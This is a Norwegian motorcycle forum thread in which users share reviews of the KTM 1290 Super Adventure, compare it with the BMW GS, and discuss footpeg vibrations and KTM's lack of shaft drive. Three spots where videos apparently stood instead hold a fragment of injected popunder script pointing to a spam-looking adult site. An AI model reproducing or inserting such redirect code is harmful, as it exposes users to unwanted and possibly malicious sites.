KTM 1290 Super Adventure - BMW R1200/1250GS utfordrer?

[AJ]

Begynner å komme skrevne magasintester og ikke minst testvideoer med kommentarer.
Her en som ble lagt ut for bare noen timer siden:

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

Vil nok få mye oppmerksomhet i tiden framover, denne nye Super Adenture'en...

Har for øvrig hørt rykter om at det kommer færre hit til landet enn hva man hadde forventet på forhånd.

[AJ]

Kommer ikke til å legge ut en hel haug med testrapporter her, men et par må kunne tåles... .
Som f.eks. denne:


http://www.bennetts.co.uk/bikesocial/re ... NJl7o7dkfx

[mammut89]

den så veldig frisk ut og en skikkelig konkurrent til GS

[AJ]

En aldri så liten stilstudie:

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

[AJ]

Testene fra Kanariøyene legges ut forløpende. Her en av de siste...:

..."an animal of the most predatory nature"...

[AJ]

Det som sies er helt gresk, men bildene snakker et språk alle skjønner... :-) :

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

[AJ]

En av de nyeste kjøretestrapportene:

https://www.asphaltandrubber.com/review ... re-review/

[Haymaker]

Setevarmer med 2 soner og ulike nivåer.
Ekstrautstyret på disse nye syklene..

[ojda]

En av de nyeste kjøretestrapportene:

https://www.asphaltandrubber.com/review ... re-review/

Sakset: (The huge v-twin has a broad and strong powerband, but from 6,000 rpm onwards the real muscle shows. Above this threshold the vibrations in the footpegs disappear as well, which only encourages you to twist the throttle further).


Ups Leser fothvilervibrasjoner under 6000 rpm
Det var det jeg hang meg mest opp i på 1190`n
Får håpe det ikke er like mye som på den jeg kjørte.
Det var ikke så lenge jeg prøvde den, men jeg
tror ikke jeg hadde vært lykkelig etter en lang dag på den

[AJ]

Eneste testrapporten så langt som nevner vibrasjoner i fothvilerne.
Så får vi se hvor merkbare og evt. irriterende dette er.
Har hatt dette mer eller mindre på alle syklene jeg har hatt. Mest merkbart på Stelvio'en, men likevel minst irriterende. Mest plagsomt på Tiger 1050'en, faktisk, hvor vibrasjonene gjorde at den ene foten "sovnet". Litt bedre da med "masserende" vibber, som på Stelvio...

[Zadnez]

dere har ikke opplevd fotvibrasjoner før dere har kjørt Harley i Dyna-familien. Den siste jeg hadde var det sånn at foten gled av om du ikke presset mot

[Bjerknez]

Har ikke opplevd dette selv tror jeg, men kan se for meg at virbrasjoner i fothvilere vil være slitsomt i lengden. Håper ikke dette blir et problem på en slik type sykkel

[ojda]

Har ikke opplevd dette selv tror jeg, men kan se for meg at virbrasjoner i fothvilere vil være slitsomt i lengden. Håper ikke dette blir et problem på en slik type sykkel

Slitsomme vibrasjoner i fothvilere er slitsomme
Det er ofte veldig liten forskjell i frekvens og intensitet som skal til
for å gjøre en stor forskjell
Jeg kjørte ikke KTM1190 Adventure R mer en ca 1/2 time, og det var langt fra
nok til å konkludere.
Men det var mer en nok til å stadfeste at: Her vibrerte det gitt
Styret var derimot helt dødt
Noe det ikke er på Tigern, så det er dempet i etterhånd
Det at AJ`n sier det er den første testen
han ser dette nevnt, ser jeg på som et positivt tegn :[-o<
Jeg er litt på tå i forhåld til denne sykkelen, da den helt klart er veldig interessant
som arvtager etter MamaTiger når den dagen måtte komme.
Største feilen de i mine øyne har gjort med den,
er at de har GLEMT å montere kardangen da de skrudde den sammen.
Men det er vel noe vi aldrig vil se fra KTM

[ojda]

dere har ikke opplevd fotvibrasjoner før dere har kjørt Harley i Dyna-familien. Den siste jeg hadde var det sånn at foten gled av om du ikke presset mot

For egen del kan jeg si: Det vil aldrig skje
Det var en liten periode i fjor jeg tenkte jeg hadde lyst til å prøve en V-Rod,
men jeg kom på bedre tanker
Jeg kan være sta, å her jeg sagt jeg aldrig vil gjøre en ting, så blir det sånn

[AJ]

Jeg er litt på tå i forhåld til denne sykkelen, da den helt klart er veldig interessant
som arvtager etter MamaTiger når den dagen måtte komme.
Største feilen de i mine øyne har gjort med den,
er at de har GLEMT å montere kardangen da de skrudde den sammen.
Men det er vel noe vi aldrig vil se fra KTM

Noen har slått fast at det ikke finnes det minste spor av kardang KTM's DNA...
Husker ikke lenger hvem denne 'noen' er eller hvor jeg leste det. Men tror nok vedkommende har ganske så rett i dette.
Er ganske sikker på at vi aldri kommer til å se kardangsykkel fra KTM. Like sikker som at vi aldri får gleden av (?) å plante ræven ned på en KTM cruiser ala japan-cruiser, MG California, H-D og Goldwing...

Ducati Multistrada har heller ingen kardang på sin oppaterte versjon. Tror neppe Bologna-ingeniørene sysler med tanke om å gjøre det i framtiden heller...